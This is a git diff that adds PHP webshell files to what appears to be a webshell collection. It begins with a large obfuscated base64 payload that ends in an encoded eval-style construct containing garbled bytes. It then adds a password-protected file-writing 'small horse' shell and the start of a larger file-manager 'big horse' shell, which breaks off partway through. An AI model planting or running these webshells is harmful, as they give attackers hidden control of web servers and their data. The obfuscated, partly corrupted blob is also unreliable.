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\'.($?58?=?58?$?58?))))',"998fe3c4016b9062897b7d537b4b19cd".($?58?'VEVwWVlVVkZkbXjBc2pKRjhFOUVUdHBQUkU3V3N2VFkwclNvUnRLeXJxcnlUVVRPTVUrb1J0gnNjMkZUZFZWdGVEVkZhVWhhWT羢jJF8E9ETtpPRE7WsvTY0rSoRtKyrqryTUTOMU+oRt侼JdlJubHFXRFJxTUQwPQ==')); +return true;?>29d0ddd4a1eb2e862f5b7a80277541bd diff --git "a/php/\345\206\260\346\272\220\347\213\254\347\253\213\347\274\226\350\257\221php\345\270\246\345\257\206\347\240\201\345\260\217\351\251\254.php" "b/php/\345\206\260\346\272\220\347\213\254\347\253\213\347\274\226\350\257\221php\345\270\246\345\257\206\347\240\201\345\260\217\351\251\254.php" new file mode 100644 index 0000000..96417d5 --- /dev/null +++ "b/php/\345\206\260\346\272\220\347\213\254\347\253\213\347\274\226\350\257\221php\345\270\246\345\257\206\347\240\201\345\260\217\351\251\254.php" @@ -0,0 +1,44 @@ + + +当前IP <?=$_SERVER['SERVER_NAME']?> + + + +成功写入文件!
                            "; + else + echo "写入文件失败"; + +} +else{ +echo "冰源独立编译php带密码小马"; +} +?>

                            +服务器IP及当前域名:()
                            +当前页面的绝对路径: +
                            +输入文件路径: +
                            + +
                            + +
                            +输入密码: + + + + diff --git "a/php/\345\211\221\347\234\211\345\244\247\344\276\240\344\270\223\347\224\250php\345\244\247\351\251\254.php" "b/php/\345\211\221\347\234\211\345\244\247\344\276\240\344\270\223\347\224\250php\345\244\247\351\251\254.php" new file mode 100644 index 0000000..dbc5d6b --- /dev/null +++ "b/php/\345\211\221\347\234\211\345\244\247\344\276\240\344\270\223\347\224\250php\345\244\247\351\251\254.php" @@ -0,0 +1,1953 @@ + + *{padding:0; margin:0;} + body{background:threedface;font-family:"Verdana", "Tahoma", "宋体",sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;} + a{color:#000000;text-decoration:none;} + a:hover{background:#BBBBBB;} + table{color:#000000;font-family:"Verdana", "Tahoma", "宋体",sans-serif;font-size:13px;border:1px solid #999999;} + td{background:#F9F6F4;} + .toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;} + .msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;} + .actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;} +\n +END; +return false; +} + +//文件管理 +class packdir +{ + var $out = ''; + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function packdir($array) + { + if(@function_exists('gzcompress')) + { + for($n = 0;$n < count($array);$n++) + { + 